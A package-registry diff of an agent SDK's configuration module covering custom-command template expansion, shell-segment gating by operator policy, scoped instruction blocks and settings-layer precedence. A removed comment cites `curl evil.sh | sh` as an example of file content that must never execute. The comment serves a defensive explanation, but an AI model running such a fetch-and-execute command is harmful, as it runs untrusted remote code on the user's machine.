@theokit/agents 13.0.0-next.9 → 13.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (52) hide show
  1. package/CHANGELOG.md +1821 -0
  2. package/README.md +31 -0
  3. package/dist/{agent-compiler-DZorqtK2.d.ts → agent-compiler-B_Z3OZel.d.ts} +196 -194
  4. package/dist/ask.d.ts +1 -0
  5. package/dist/auth.d.ts +175 -1
  6. package/dist/auth.js +94 -0
  7. package/dist/auth.js.map +1 -1
  8. package/dist/{bridge-entry-B0FqqPlt.d.ts → bridge-entry-vzdHNu_x.d.ts} +72 -6
  9. package/dist/bridge.d.ts +6 -4
  10. package/dist/bridge.js +9 -4
  11. package/dist/{chunk-TZCHACY7.js → chunk-AAW4I45J.js} +118 -18
  12. package/dist/chunk-AAW4I45J.js.map +1 -0
  13. package/dist/{chunk-6WFRR24F.js → chunk-HBHZV3KL.js} +566 -342
  14. package/dist/chunk-HBHZV3KL.js.map +1 -0
  15. package/dist/chunk-M5DRNOIU.js +109 -0
  16. package/dist/chunk-M5DRNOIU.js.map +1 -0
  17. package/dist/chunk-M5J3Q6YC.js +17 -0
  18. package/dist/chunk-M5J3Q6YC.js.map +1 -0
  19. package/dist/{chunk-RKWCXVYG.js → chunk-MJ6FRILJ.js} +67 -5
  20. package/dist/chunk-MJ6FRILJ.js.map +1 -0
  21. package/dist/{chunk-LPS65NGG.js → chunk-PMMOOXR6.js} +33 -10
  22. package/dist/chunk-PMMOOXR6.js.map +1 -0
  23. package/dist/chunk-U72XTMYB.js +7 -0
  24. package/dist/chunk-U72XTMYB.js.map +1 -0
  25. package/dist/client-react.d.ts +1 -0
  26. package/dist/client.d.ts +1 -0
  27. package/dist/config.d.ts +205 -36
  28. package/dist/config.js +221 -18
  29. package/dist/config.js.map +1 -1
  30. package/dist/{define-agent-D9b3h3VU.d.ts → define-agent-Cm7UGHx-.d.ts} +27 -3
  31. package/dist/{delegation-scoring-MbnqL68u.d.ts → delegation-scoring-195_ROT3.d.ts} +14 -2
  32. package/dist/hooks.d.ts +0 -32
  33. package/dist/hooks.js +42 -14
  34. package/dist/hooks.js.map +1 -1
  35. package/dist/index.d.ts +191 -16
  36. package/dist/index.js +43 -5
  37. package/dist/index.js.map +1 -1
  38. package/dist/sandbox.js.map +1 -1
  39. package/dist/setting-sources-gate-DFu51i50.d.ts +278 -0
  40. package/dist/testing.d.ts +5 -2
  41. package/dist/testing.js +1 -1
  42. package/dist/tools.d.ts +4 -2
  43. package/dist/tools.js +22 -4
  44. package/dist/tools.js.map +1 -1
  45. package/dist/usage.d.ts +30 -0
  46. package/dist/usage.js +3 -0
  47. package/dist/usage.js.map +1 -1
  48. package/package.json +3 -3
  49. package/dist/chunk-6WFRR24F.js.map +0 -1
  50. package/dist/chunk-LPS65NGG.js.map +0 -1
  51. package/dist/chunk-RKWCXVYG.js.map +0 -1
  52. package/dist/chunk-TZCHACY7.js.map +0 -1
package/dist/config.d.ts CHANGED
@@ -1,6 +1,8 @@
1
1
  import { TheokitAgentError } from '@theokit/sdk/errors';
2
2
  import { z } from 'zod';
3
- import { TrustPosture } from '@theokit/sdk';
3
+ import { TrustPosture, LayerValues } from '@theokit/sdk';
4
+ export { DeclaredLayer, LayerValues } from '@theokit/sdk';
5
+ import { R as ResolvedCompatSource } from './setting-sources-gate-DFu51i50.js';
4
6
  export { resolveEffectiveContextWindow as effectiveContextWindow } from '@theokit/sdk/compaction';
5
7
 
6
8
  /**
@@ -285,6 +287,32 @@ interface InstructionBlock {
285
287
  */
286
288
  readonly scopesUnreadable: boolean;
287
289
  }
290
+ /**
291
+ * Does a block's `paths:` scope cover this file?
292
+ *
293
+ * `scopes` shipped without this, and the gap was not cosmetic: the field's own docblock names the
294
+ * consequence of getting it wrong — a rule written for one subtree applied EVERYWHERE, silently —
295
+ * and then hands the decision to the product. Delegating the DECISION is deliberate and unchanged.
296
+ * What was missing is the MEANS: no glob matcher existed anywhere in this package, so a consumer who
297
+ * wanted to honour a scope had to invent the semantics, and two consumers would invent two.
298
+ *
299
+ * `scopesUnreadable` answers FALSE, whatever the path. That is the fail-closed half the flag was
300
+ * invented for: a `paths:` that was declared and yielded nothing must not read as "no scope
301
+ * declared", because those two are indistinguishable in `scopes` alone and only one of them is safe
302
+ * to publish everywhere.
303
+ *
304
+ * ## What this supports, and what it refuses to guess
305
+ *
306
+ * `**` (crosses separators), `*` (does not), and `?` (one character) — the same three the SDK's own
307
+ * rule activation implements. Brace expansion `{a,b}` and character classes `[abc]` are NOT
308
+ * supported: a pattern using them matches literally and therefore almost certainly not at all.
309
+ *
310
+ * That is a deliberate floor rather than a step toward a glob library. Three wildcards are a dozen
311
+ * lines; a dependency for them carries a transitive tree into a package whose direct dependencies
312
+ * number three. If a caller needs the fuller grammar, that is a decision to make out loud — adding
313
+ * it quietly here would leave two half-grammars in one ecosystem.
314
+ */
315
+ declare function blockAppliesTo(block: Pick<InstructionBlock, 'scopes' | 'scopesUnreadable'>, filePath: string): boolean;
288
316
  interface InstructionTreeBudget {
289
317
  /** How deep below each root to descend. */
290
318
  readonly maxDepth: number;
@@ -400,6 +428,16 @@ interface ComposedInstructions {
400
428
  */
401
429
  declare function composeInstructions(base: string, sources: readonly InstructionSource[], options: ComposeInstructionsOptions): ComposedInstructions;
402
430
 
431
+ /**
432
+ * The narrowed half of `ResolvedCompatSource`, split out because the union's other half is the
433
+ * string literal `'claude-code'` — and `string | 'claude-code'` collapses to `string`, which would
434
+ * make the object arm unreachable to the type system.
435
+ *
436
+ * Its `kind` is that one literal today, so the loader below does not re-check it. A second foreign
437
+ * dialect would widen it, and would have to revisit `COMPAT_COMMANDS_DIR` in the same breath: the
438
+ * directory this reads is `.claude/`, not "whichever dialect asked".
439
+ */
440
+ type NarrowedCompatSource = Exclude<ResolvedCompatSource, string>;
403
441
  /**
404
442
  * M76 — load custom commands from `.theokit/commands/`.
405
443
  *
@@ -477,7 +515,7 @@ interface LoadCustomCommandsInput {
477
515
  * command is a prompt that runs on the operator's behalf, and this directory is usually written
478
516
  * for a different product and arrives with the repository.
479
517
  */
480
- readonly compatSources?: readonly string[];
518
+ readonly compatSources?: readonly (string | NarrowedCompatSource)[];
481
519
  readonly builtinNames?: readonly string[];
482
520
  /** Where a shadow, a duplicate, or a malformed file is reported. */
483
521
  readonly onWarn?: (message: string) => void;
@@ -490,34 +528,6 @@ interface CustomCommandsResult {
490
528
  }
491
529
  declare function loadCustomCommands(input: LoadCustomCommandsInput): CustomCommandsResult;
492
530
 
493
- /**
494
- * Expansion of a custom-command body: `$N` placeholders, `` !`shell` `` segments and `@file`
495
- * inlining.
496
- *
497
- * `loadCustomCommands` (alongside this file) reads the command and its frontmatter and stops.
498
- * Everything the body MEANS lived downstream, re-implemented per product. It is a format convention
499
- * — the same one every custom-command implementation in this space follows — not product policy, and
500
- * the half that reads the file already lives here. One format, one owner.
501
- *
502
- * ## Two invariants carry the security weight
503
- *
504
- * **This module never spawns anything and never opens a file.** `shell` and `readFile` are injected,
505
- * so the trust decision — is this directory trusted? — stays with the caller that already owns trust
506
- * posture, and containment stays with the reader that already implements it. A second containment
507
- * check that disagreed with the first is the `assertNoSymlinkEscape` class of bug this ecosystem has
508
- * already paid for once (`rules/system-design-guardrails.md` § G10).
509
- *
510
- * **Shell and file references are resolved in ONE scan, so neither's output is read by the other.**
511
- * A file containing `` !`curl evil.sh | sh` `` must be text, and shell output naming `@secrets.md`
512
- * must be text. Three sequential passes do not give that — the first draft here ran placeholders,
513
- * then shell, then files, and its own test caught shell output being re-scanned for `@` references.
514
- * The property is structural now, not filtered: there is no later scan to escape into.
515
- *
516
- * Arguments ARE substituted first, deliberately, so `` !`git diff $1` `` works. That is the one
517
- * re-scan that is safe, because arguments are the user's direct input for THIS invocation — the very
518
- * thing they are typing the command to supply. What must never happen is the reverse: content the
519
- * template merely *pointed at* deciding what runs.
520
- */
521
531
  /**
522
532
  * The ceiling on inlined file content. A larger file is TRUNCATED with a warning — never inlined
523
533
  * whole (which would blow the context the command was meant to shape) and never silently dropped
@@ -538,8 +548,16 @@ interface TemplateDeps {
538
548
  warn: (message: string) => void;
539
549
  }
540
550
  /**
541
- * The `$N` placeholders a template declares, sorted and de-duplicated — what a command palette shows
542
- * so the user knows what the command wants before running it.
551
+ * The placeholders a template declares, sorted and de-duplicated — what a command palette shows so
552
+ * the user knows what the command wants before running it.
553
+ *
554
+ * ESCAPED placeholders are excluded. `\$1` is prose about a placeholder, not a request for one, and
555
+ * listing it asks the user to supply an argument the template will never substitute. It also broke
556
+ * the sort outright: the match carries the backslash, so `slice(1)` produced `"$1"` and `Number`
557
+ * produced `NaN`, and a comparator returning `NaN` leaves the order unspecified.
558
+ *
559
+ * `$ARGUMENTS` sorts first because it is the whole string — reading it after `$3` suggests it is a
560
+ * fourth position.
543
561
  */
544
562
  declare function templateHints(template: string): string[];
545
563
  /**
@@ -550,12 +568,163 @@ declare function templateHints(template: string): string[];
550
568
  * which file is read. Running the other two first would let a file's contents decide what to
551
569
  * execute.
552
570
  *
553
- * Nothing here throws. A command whose shell segment failed or whose file is missing still produces
554
- * a usable prompt, with a warning naming what did not resolve — which is more useful than an error
555
- * that discards the whole body.
571
+ * Throws in exactly two cases, both of which produce NO prompt rather than a wrong one: a fenced
572
+ * ```` ```! ```` block (never executed, previously passed through as markdown) and an injected
573
+ * command that failed (the spec aborts the invocation). Everything else — a missing `@file`, an
574
+ * out-of-range `$N`, an oversized file — still produces a usable prompt with a warning naming what
575
+ * did not resolve, which is more useful than discarding the whole body.
576
+ *
577
+ * The line between the two is what the template CAUSED versus what it POINTED at.
556
578
  */
557
579
  declare function expandCommandTemplate(template: string, rawArgs: string, deps: TemplateDeps): Promise<string>;
558
580
 
581
+ /**
582
+ * B-067 — the settings precedence stack, NAMED.
583
+ *
584
+ * `@theokit/sdk` ships the mechanism and deliberately not the vocabulary: `foldLayers` folds an
585
+ * array of `{ layer, precedence?, values }`, `verifyLayerOrdering` refuses a chain that contradicts
586
+ * itself, and `DeclaredLayer.layer` is a free-form `string` whose `precedence` is optional. That is
587
+ * the right shape for a library — it cannot know what layers a consumer has — and it leaves one
588
+ * thing undecided that two consumers must agree on: WHICH layers exist, and in what order.
589
+ *
590
+ * Until this file, they did not agree, and nothing could tell. Two products could each invent their
591
+ * own names and numbers, fold in opposite orders, and both pass `verifyLayerOrdering`, because a
592
+ * chain is only checked against itself. B-026 named three levels — managed settings above the
593
+ * project file above `defineAgent()` — for the four keys the operator policy carries; a consumer
594
+ * implementing a fifth key had nothing to consult and invented an order that type-checked.
595
+ *
596
+ * ## The order, and where it comes from
597
+ *
598
+ * The five file levels and their order are the format's, measured against
599
+ * <https://code.claude.com/docs/en/settings> on 2026-09-11 (highest first there, lowest first here):
600
+ * managed settings, command line, project local, shared project, user. `code` is added below all of
601
+ * them and is ours: a value passed to `defineAgent()` is the weakest thing in the system, because
602
+ * every file above it is editable by a human who did not write the code and is answerable for what
603
+ * the agent does on their machine.
604
+ *
605
+ * That ordering is the whole operator tier in one line. Reversing any pair of it — letting a project
606
+ * file outrank managed settings, or code outrank a file — turns the tier into a suggestion.
607
+ *
608
+ * ## Why this is here and not in the SDK
609
+ *
610
+ * Same reason as `operator-policy.ts` beside it: this package depends on a PUBLISHED
611
+ * `@theokit/sdk`, so a symbol added to that package's source is not importable here until somebody
612
+ * cuts a release. The names and the order are the contract, and they are stated where the consumer
613
+ * that needs them can reach them today. What must not drift is the ORDER, which is the format's and
614
+ * not ours to change.
615
+ */
616
+
617
+ /**
618
+ * Every layer that can supply a setting, named.
619
+ *
620
+ * A union rather than a string, so adding one is a compile-time event everywhere a layer is handled
621
+ * — the property `DeclaredLayer.layer: string` cannot give, and the reason this file exists.
622
+ */
623
+ type SettingsLayer =
624
+ /** Values passed to `defineAgent()` / the builder. The weakest: code loses to every file. */
625
+ 'code'
626
+ /** `~/.claude/settings.json` — you, in every project. */
627
+ | 'user'
628
+ /** `.claude/settings.json` — everyone in the project. */
629
+ | 'project-shared'
630
+ /** `.claude/settings.local.json` — you, in this project. */
631
+ | 'project-local'
632
+ /** `claude --settings` — you, in this session. */
633
+ | 'command-line'
634
+ /** `managed-settings.json`, MDM, or the console. Your organisation. A project cannot widen it. */
635
+ | 'managed';
636
+ /**
637
+ * The FILE layers, lowest precedence first — the array `foldLayers` is given.
638
+ *
639
+ * `code` is deliberately absent: it is not a settings file, it is the value the caller passed, and a
640
+ * chain that folded it as a peer would invite somebody to place it above one. {@link settingsLayerChain}
641
+ * puts it at the bottom, which is the only position it has.
642
+ *
643
+ * The numbers are spaced by ten so a level can be inserted between two without renumbering the
644
+ * stack — a renumber is exactly the kind of edit that silently reorders a fold somewhere else.
645
+ */
646
+ declare const SETTINGS_LAYERS: readonly [{
647
+ readonly layer: "user";
648
+ readonly precedence: 10;
649
+ }, {
650
+ readonly layer: "project-shared";
651
+ readonly precedence: 20;
652
+ }, {
653
+ readonly layer: "project-local";
654
+ readonly precedence: 30;
655
+ }, {
656
+ readonly layer: "command-line";
657
+ readonly precedence: 40;
658
+ }, {
659
+ readonly layer: "managed";
660
+ readonly precedence: 50;
661
+ }];
662
+ /**
663
+ * Compile-time exhaustiveness: a layer added to {@link SettingsLayer} without a position here makes
664
+ * this line fail to compile.
665
+ *
666
+ * The same gate `capability-zero-behavior.test.ts` puts on the compiled-options waist, for the same
667
+ * reason — a new member that nobody placed is a member somebody will place at random, once, in the
668
+ * file where they happened to need it.
669
+ */
670
+ type Positioned = (typeof SETTINGS_LAYERS)[number]['layer'] | 'code';
671
+ type _Exhaustive = Exclude<SettingsLayer, Positioned> extends never ? true : ['unpositioned settings layer'];
672
+ declare const LAYERS_ARE_POSITIONED: _Exhaustive;
673
+ /** The precedence of a layer. Higher wins. */
674
+ declare function layerPrecedence(layer: SettingsLayer): number;
675
+ /**
676
+ * Build the `foldLayers` input from values keyed by layer name.
677
+ *
678
+ * Sorted by declared precedence rather than by the object's key order, because an object literal's
679
+ * order is the author's typing order and folding by it would make precedence depend on where
680
+ * somebody happened to add a line. Layers with no values are omitted: a layer that supplies nothing
681
+ * and a layer that does not exist fold identically, and inventing an empty entry for the first would
682
+ * make the chain longer without making it truer.
683
+ */
684
+ declare function settingsLayerChain(values: Partial<Record<SettingsLayer, Readonly<Record<string, unknown>>>>): LayerValues[];
685
+
686
+ /**
687
+ * A style was named and could not be read.
688
+ *
689
+ * Typed, and carrying the directories it searched, because the whole point of the refusal is that
690
+ * the author learns WHICH lookup failed. `error-handling.md` § 2: fail fast, fail clear.
691
+ */
692
+ declare class OutputStyleError extends TheokitAgentError {
693
+ readonly name = "OutputStyleError";
694
+ constructor(message: string);
695
+ }
696
+ interface OutputStyle {
697
+ /** The filename without `.md` — what `outputStyle` in settings refers to. */
698
+ readonly name: string;
699
+ /** The body, which becomes a section of the system prompt. */
700
+ readonly content: string;
701
+ /** The `description` frontmatter key, when present. */
702
+ readonly description?: string;
703
+ /**
704
+ * `keep-coding-instructions: true` in frontmatter.
705
+ *
706
+ * The field with teeth. A style REPLACES the built-in software-engineering instructions by
707
+ * default, so a consumer who does not know that loses them without being told. Carried here so
708
+ * the decision belongs to the caller rather than to whoever wrote the style file.
709
+ */
710
+ readonly keepCodingInstructions: boolean;
711
+ }
712
+ interface LoadOutputStyleInput {
713
+ /** The style to load, from `settings.json`'s `outputStyle`. `undefined` means none was asked for. */
714
+ readonly name: string | undefined;
715
+ /** Project root. Its `.claude/output-styles/` wins over the home directory's. */
716
+ readonly cwd: string;
717
+ /** Home directory, for styles that apply across every project. Omit to search the project only. */
718
+ readonly homeDir?: string;
719
+ }
720
+ /**
721
+ * The named style, or `undefined` when none was requested.
722
+ *
723
+ * @throws OutputStyleError when a style IS named and no file backs it, listing the directories that
724
+ * were searched.
725
+ */
726
+ declare function loadOutputStyle(input: LoadOutputStyleInput): OutputStyle | undefined;
727
+
559
728
  /**
560
729
  * Split a markdown file into frontmatter lines and body.
561
730
  *
@@ -645,4 +814,4 @@ declare class ContextPressureThresholdError extends TheokitAgentError {
645
814
  */
646
815
  declare function contextPressure(usedTokens: number, effectiveWindow: number, thresholds?: ContextPressureThresholds): ContextPressure;
647
816
 
648
- export { type ComposeInstructionsOptions, type ComposedInstructions, type ConfigLayer, type ContextPressure, ContextPressureThresholdError, type ContextPressureThresholds, type CustomCommand, type CustomCommandsResult, DEFAULT_CONTEXT_PRESSURE_THRESHOLDS, type ExpandImportsInput, FILE_INLINE_CAP, type InstructionBlock, type InstructionSource, type InstructionTree, type InstructionTreeBudget, LayerOutOfOrderError, LayeredConfig, type LayeredConfigInput, type LayeredConfigResult, type LoadCustomCommandsInput, type LoadInstructionTreeInput, type ParsedFrontmatter, type PrecedenceReport, type ProvenancePerKey, type ShellResult, type TemplateDeps, type TrustRecord, TrustStore, TrustStorePermissionsError, composeInstructions, contextPressure, expandCommandTemplate, expandInstructionImports, frontmatterValue, loadCustomCommands, loadInstructionTree, splitFrontmatter, templateHints };
817
+ export { type ComposeInstructionsOptions, type ComposedInstructions, type ConfigLayer, type ContextPressure, ContextPressureThresholdError, type ContextPressureThresholds, type CustomCommand, type CustomCommandsResult, DEFAULT_CONTEXT_PRESSURE_THRESHOLDS, type ExpandImportsInput, FILE_INLINE_CAP, type InstructionBlock, type InstructionSource, type InstructionTree, type InstructionTreeBudget, LAYERS_ARE_POSITIONED, LayerOutOfOrderError, LayeredConfig, type LayeredConfigInput, type LayeredConfigResult, type LoadCustomCommandsInput, type LoadInstructionTreeInput, type LoadOutputStyleInput, type OutputStyle, OutputStyleError, type ParsedFrontmatter, type PrecedenceReport, type ProvenancePerKey, SETTINGS_LAYERS, type SettingsLayer, type ShellResult, type TemplateDeps, type TrustRecord, TrustStore, TrustStorePermissionsError, blockAppliesTo, composeInstructions, contextPressure, expandCommandTemplate, expandInstructionImports, frontmatterValue, layerPrecedence, loadCustomCommands, loadInstructionTree, loadOutputStyle, settingsLayerChain, splitFrontmatter, templateHints };
package/dist/config.js CHANGED
@@ -1,6 +1,12 @@
1
1
  import {
2
2
  ensureSecureDir
3
3
  } from "./chunk-D2EFYZBV.js";
4
+ import {
5
+ currentOperatorPolicy
6
+ } from "./chunk-M5DRNOIU.js";
7
+ import {
8
+ ConfigurationError
9
+ } from "./chunk-U72XTMYB.js";
4
10
  import {
5
11
  __name
6
12
  } from "./chunk-Z4QWC7IK.js";
@@ -321,6 +327,35 @@ function frontmatterValue(frontmatter, key) {
321
327
  __name(frontmatterValue, "frontmatterValue");
322
328
 
323
329
  // src/config/instruction-tree.ts
330
+ function blockAppliesTo(block, filePath) {
331
+ if (block.scopesUnreadable) return false;
332
+ if (block.scopes.length === 0) return true;
333
+ return block.scopes.some((scope) => globToRegExp(scope).test(filePath));
334
+ }
335
+ __name(blockAppliesTo, "blockAppliesTo");
336
+ function globToRegExp(scope) {
337
+ let out = "";
338
+ for (let i = 0; i < scope.length; i += 1) {
339
+ const char = scope[i];
340
+ if (char === "*") {
341
+ if (scope[i + 1] === "*") {
342
+ out += ".*";
343
+ i += 1;
344
+ if (scope[i + 1] === "/") i += 1;
345
+ continue;
346
+ }
347
+ out += "[^/]*";
348
+ continue;
349
+ }
350
+ if (char === "?") {
351
+ out += "[^/]";
352
+ continue;
353
+ }
354
+ out += char.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
355
+ }
356
+ return new RegExp(`^${out}$`);
357
+ }
358
+ __name(globToRegExp, "globToRegExp");
324
359
  var DEFAULT_FILE_NAMES = [
325
360
  "THEO.md",
326
361
  "AGENTS.md"
@@ -529,19 +564,61 @@ function composeInstructions(base, sources, options) {
529
564
  __name(composeInstructions, "composeInstructions");
530
565
 
531
566
  // src/config/custom-commands.ts
532
- import { readFileSync as readFileSync4, readdirSync as readdirSync2, statSync as statSync3 } from "fs";
533
- import { extname, join as join2, relative as relative2 } from "path";
534
- var COMMANDS_DIR = join2(".theokit", "commands");
535
- var COMPAT_COMMANDS_DIR = join2(".claude", "commands");
567
+ import { readFileSync as readFileSync4, readdirSync as readdirSync3, statSync as statSync3 } from "fs";
568
+ import { extname, join as join3, relative as relative2 } from "path";
569
+
570
+ // src/bridge/unloaded-surfaces.ts
571
+ import { existsSync as existsSync3, readdirSync as readdirSync2 } from "fs";
572
+ import { join as join2 } from "path";
573
+ var WORKFLOWS_DIR = join2(".claude", "workflows");
574
+ var SCRIPT_SUFFIXES = [
575
+ ".js",
576
+ ".mjs",
577
+ ".cjs"
578
+ ];
579
+ function reportUnloadedSurfaces(input) {
580
+ const dir = join2(input.cwd, WORKFLOWS_DIR);
581
+ if (!existsSync3(dir)) return;
582
+ let scripts;
583
+ try {
584
+ scripts = readdirSync2(dir).filter((f) => SCRIPT_SUFFIXES.some((s) => f.endsWith(s)));
585
+ } catch {
586
+ return;
587
+ }
588
+ if (scripts.length === 0) return;
589
+ input.onWarn(`${WORKFLOWS_DIR}: found ${String(scripts.length)} workflow script(s) \u2014 ${[
590
+ ...scripts
591
+ ].sort((a, b) => a.localeCompare(b)).join(", ")} \u2014 which this runtime does NOT execute. Every configuration surface it loads is data (commands, hooks, plugins, skills, subagents); a workflow file is code, and executing JavaScript found under a caller-supplied directory is a trust decision that belongs to you rather than to this library. The orchestration itself is supported: build the same pipeline with Workflow / agentStep / createSquad from @theokit/sdk, which you import explicitly.`);
592
+ }
593
+ __name(reportUnloadedSurfaces, "reportUnloadedSurfaces");
594
+
595
+ // src/config/custom-commands.ts
596
+ var COMMANDS_DIR = join3(".theokit", "commands");
597
+ var COMPAT_COMMANDS_DIR = join3(".claude", "commands");
536
598
  var CLAUDE_CODE_SOURCE = "claude-code";
537
599
  var IGNORE_WARNING3 = /* @__PURE__ */ __name(() => void 0, "IGNORE_WARNING");
600
+ function declaresCommands(sources) {
601
+ return sources?.some((source) => typeof source === "string" ? source === CLAUDE_CODE_SOURCE : source.import.includes("commands")) === true;
602
+ }
603
+ __name(declaresCommands, "declaresCommands");
604
+ function declaresClaudeCode(sources) {
605
+ return sources?.some((source) => (
606
+ // The narrowed form IS a declaration of this dialect by construction — its `kind` is the one
607
+ // literal, which is why `declaresCommands` does not re-check it either and why the
608
+ // `NarrowedCompatSource` docblock says a second dialect must revisit both. Comparing it here
609
+ // would be a runtime check the type already makes, and `no-unnecessary-condition` is right
610
+ // about that: the type is not lying, there is exactly one dialect.
611
+ typeof source !== "string" || source === CLAUDE_CODE_SOURCE
612
+ )) === true;
613
+ }
614
+ __name(declaresClaudeCode, "declaresClaudeCode");
538
615
  function projectCommandDirs(input) {
539
616
  if (input.projectDir === void 0) return [];
540
617
  const dirs = [];
541
- if (input.compatSources?.includes(CLAUDE_CODE_SOURCE) === true) {
542
- dirs.push(join2(input.projectDir, COMPAT_COMMANDS_DIR));
618
+ if (declaresCommands(input.compatSources)) {
619
+ dirs.push(join3(input.projectDir, COMPAT_COMMANDS_DIR));
543
620
  }
544
- dirs.push(join2(input.projectDir, COMMANDS_DIR));
621
+ dirs.push(join3(input.projectDir, COMMANDS_DIR));
545
622
  return dirs;
546
623
  }
547
624
  __name(projectCommandDirs, "projectCommandDirs");
@@ -567,8 +644,14 @@ __name(mergeProjectCommands, "mergeProjectCommands");
567
644
  function loadCustomCommands(input) {
568
645
  const warn = input.onWarn ?? IGNORE_WARNING3;
569
646
  const loaded = /* @__PURE__ */ new Map();
647
+ if (input.projectDir !== void 0 && declaresClaudeCode(input.compatSources)) {
648
+ reportUnloadedSurfaces({
649
+ cwd: input.projectDir,
650
+ onWarn: warn
651
+ });
652
+ }
570
653
  if (input.homeDir !== void 0) {
571
- for (const command of readCommandsDir(join2(input.homeDir, COMMANDS_DIR), "user", warn)) {
654
+ for (const command of readCommandsDir(join3(input.homeDir, COMMANDS_DIR), "user", warn)) {
572
655
  loaded.set(command.name, command);
573
656
  }
574
657
  }
@@ -597,14 +680,14 @@ __name(byProjectThenName, "byProjectThenName");
597
680
  function readCommandsDir(dir, source, warn, root = dir) {
598
681
  let entries;
599
682
  try {
600
- entries = readdirSync2(dir);
683
+ entries = readdirSync3(dir);
601
684
  } catch {
602
685
  return [];
603
686
  }
604
687
  entries.sort((a, b) => a.localeCompare(b));
605
688
  const commands = [];
606
689
  for (const entry of entries) {
607
- const path = join2(dir, entry);
690
+ const path = join3(dir, entry);
608
691
  let stats;
609
692
  try {
610
693
  stats = statSync3(path);
@@ -652,8 +735,9 @@ function parseCommandFile(path, entry, source, warn) {
652
735
  __name(parseCommandFile, "parseCommandFile");
653
736
 
654
737
  // src/config/command-template.ts
655
- var PLACEHOLDER_REGEX = /\$(\d+)/g;
656
- var REFERENCE_REGEX = /!`(?<cmd>[^`]+)`|(?<!\S)@(?<file>[^\s`,]*[^\s`,.])/g;
738
+ var PLACEHOLDER_REGEX = /(\\)?\$(ARGUMENTS\b|\d+)/g;
739
+ var REFERENCE_REGEX = /(?<!\S)!`(?<cmd>[^`]+)`|(?<!\S)@(?<file>[^\s`,]*[^\s`,.])/g;
740
+ var FENCED_COMMAND_REGEX = /^```!\s*$/m;
657
741
  var ARGS_REGEX = /(?:\[Image\s+\d+]|"[^"]*"|'[^']*'|[^\s"']+)/gi;
658
742
  var QUOTE_TRIM_REGEX = /^["']|["']$/g;
659
743
  var FILE_INLINE_CAP = 64 * 1024;
@@ -662,12 +746,23 @@ function splitArgs(rawArgs) {
662
746
  }
663
747
  __name(splitArgs, "splitArgs");
664
748
  function templateHints(template) {
665
- const found = template.match(PLACEHOLDER_REGEX) ?? [];
749
+ const found = [];
750
+ for (const match of template.matchAll(PLACEHOLDER_REGEX)) {
751
+ if (match[1] !== void 0) continue;
752
+ found.push(match[0]);
753
+ }
666
754
  return [
667
755
  ...new Set(found)
668
- ].sort((a, b) => Number(a.slice(1)) - Number(b.slice(1)));
756
+ ].sort(comparePlaceholders);
669
757
  }
670
758
  __name(templateHints, "templateHints");
759
+ function comparePlaceholders(a, b) {
760
+ if (a === b) return 0;
761
+ if (a === "$ARGUMENTS") return -1;
762
+ if (b === "$ARGUMENTS") return 1;
763
+ return Number(a.slice(1)) - Number(b.slice(1));
764
+ }
765
+ __name(comparePlaceholders, "comparePlaceholders");
671
766
  async function replaceAsync(source, pattern, resolve4) {
672
767
  const matches = [
673
768
  ...source.matchAll(pattern)
@@ -684,9 +779,16 @@ async function replaceAsync(source, pattern, resolve4) {
684
779
  }
685
780
  __name(replaceAsync, "replaceAsync");
686
781
  async function expandCommandTemplate(template, rawArgs, deps) {
782
+ if (FENCED_COMMAND_REGEX.test(template)) {
783
+ throw new ConfigurationError("command template uses a fenced ````!` command block, which this runtime does not execute. Use the inline form \u2014 !`command` \u2014 one per command. The fenced block was previously passed through unchanged, so the model read the commands as markdown and nothing ran.", {
784
+ code: "command_template_fenced_block"
785
+ });
786
+ }
687
787
  const args = splitArgs(rawArgs);
688
788
  const withArgs = await replaceAsync(template, PLACEHOLDER_REGEX, (match) => {
689
- const index = Number(match[1]) - 1;
789
+ if (match[1] !== void 0) return `$${match[2]}`;
790
+ if (match[2] === "ARGUMENTS") return rawArgs;
791
+ const index = Number(match[2]) - 1;
690
792
  if (index < 0 || index >= args.length) {
691
793
  deps.warn(`command template references ${match[0]} but only ${String(args.length)} argument(s) were given`);
692
794
  return "";
@@ -696,9 +798,16 @@ async function expandCommandTemplate(template, rawArgs, deps) {
696
798
  return replaceAsync(withArgs, REFERENCE_REGEX, async (match) => {
697
799
  const command = match.groups?.cmd;
698
800
  if (command !== void 0) {
801
+ if (currentOperatorPolicy(deps.warn).disableSkillShellExecution === true) {
802
+ throw new ConfigurationError(`command template segment \`${command}\` was not run: an operator policy (managed-settings.json) declares disableSkillShellExecution.`, {
803
+ code: "command_template_shell_forbidden"
804
+ });
805
+ }
699
806
  const result = await deps.shell(command);
700
807
  if (!result.ok) {
701
- deps.warn(`command template segment \`${command}\` failed`);
808
+ throw new ConfigurationError(`command template segment \`${command}\` failed: ${result.text}`, {
809
+ code: "command_template_segment_failed"
810
+ });
702
811
  }
703
812
  return result.text;
704
813
  }
@@ -717,14 +826,101 @@ async function expandCommandTemplate(template, rawArgs, deps) {
717
826
  }
718
827
  __name(expandCommandTemplate, "expandCommandTemplate");
719
828
 
829
+ // src/config/settings-layers.ts
830
+ var SETTINGS_LAYERS = [
831
+ {
832
+ layer: "user",
833
+ precedence: 10
834
+ },
835
+ {
836
+ layer: "project-shared",
837
+ precedence: 20
838
+ },
839
+ {
840
+ layer: "project-local",
841
+ precedence: 30
842
+ },
843
+ {
844
+ layer: "command-line",
845
+ precedence: 40
846
+ },
847
+ {
848
+ layer: "managed",
849
+ precedence: 50
850
+ }
851
+ ];
852
+ var CODE_PRECEDENCE = 0;
853
+ var LAYERS_ARE_POSITIONED = true;
854
+ function layerPrecedence(layer) {
855
+ if (layer === "code") return CODE_PRECEDENCE;
856
+ const found = SETTINGS_LAYERS.find((l) => l.layer === layer);
857
+ if (!found) throw new Error(`settings layer has no declared precedence: ${layer}`);
858
+ return found.precedence;
859
+ }
860
+ __name(layerPrecedence, "layerPrecedence");
861
+ function settingsLayerChain(values) {
862
+ const entries = Object.entries(values);
863
+ return entries.filter((e) => e[1] !== void 0).map(([layer, v]) => ({
864
+ layer,
865
+ precedence: layerPrecedence(layer),
866
+ values: v
867
+ })).sort((a, b) => a.precedence - b.precedence);
868
+ }
869
+ __name(settingsLayerChain, "settingsLayerChain");
870
+
871
+ // src/config/output-styles.ts
872
+ import { existsSync as existsSync4, readFileSync as readFileSync5 } from "fs";
873
+ import { join as join4 } from "path";
874
+ import { TheokitAgentError as TheokitAgentError3 } from "@theokit/sdk/errors";
875
+ var OUTPUT_STYLES_DIR = join4(".claude", "output-styles");
876
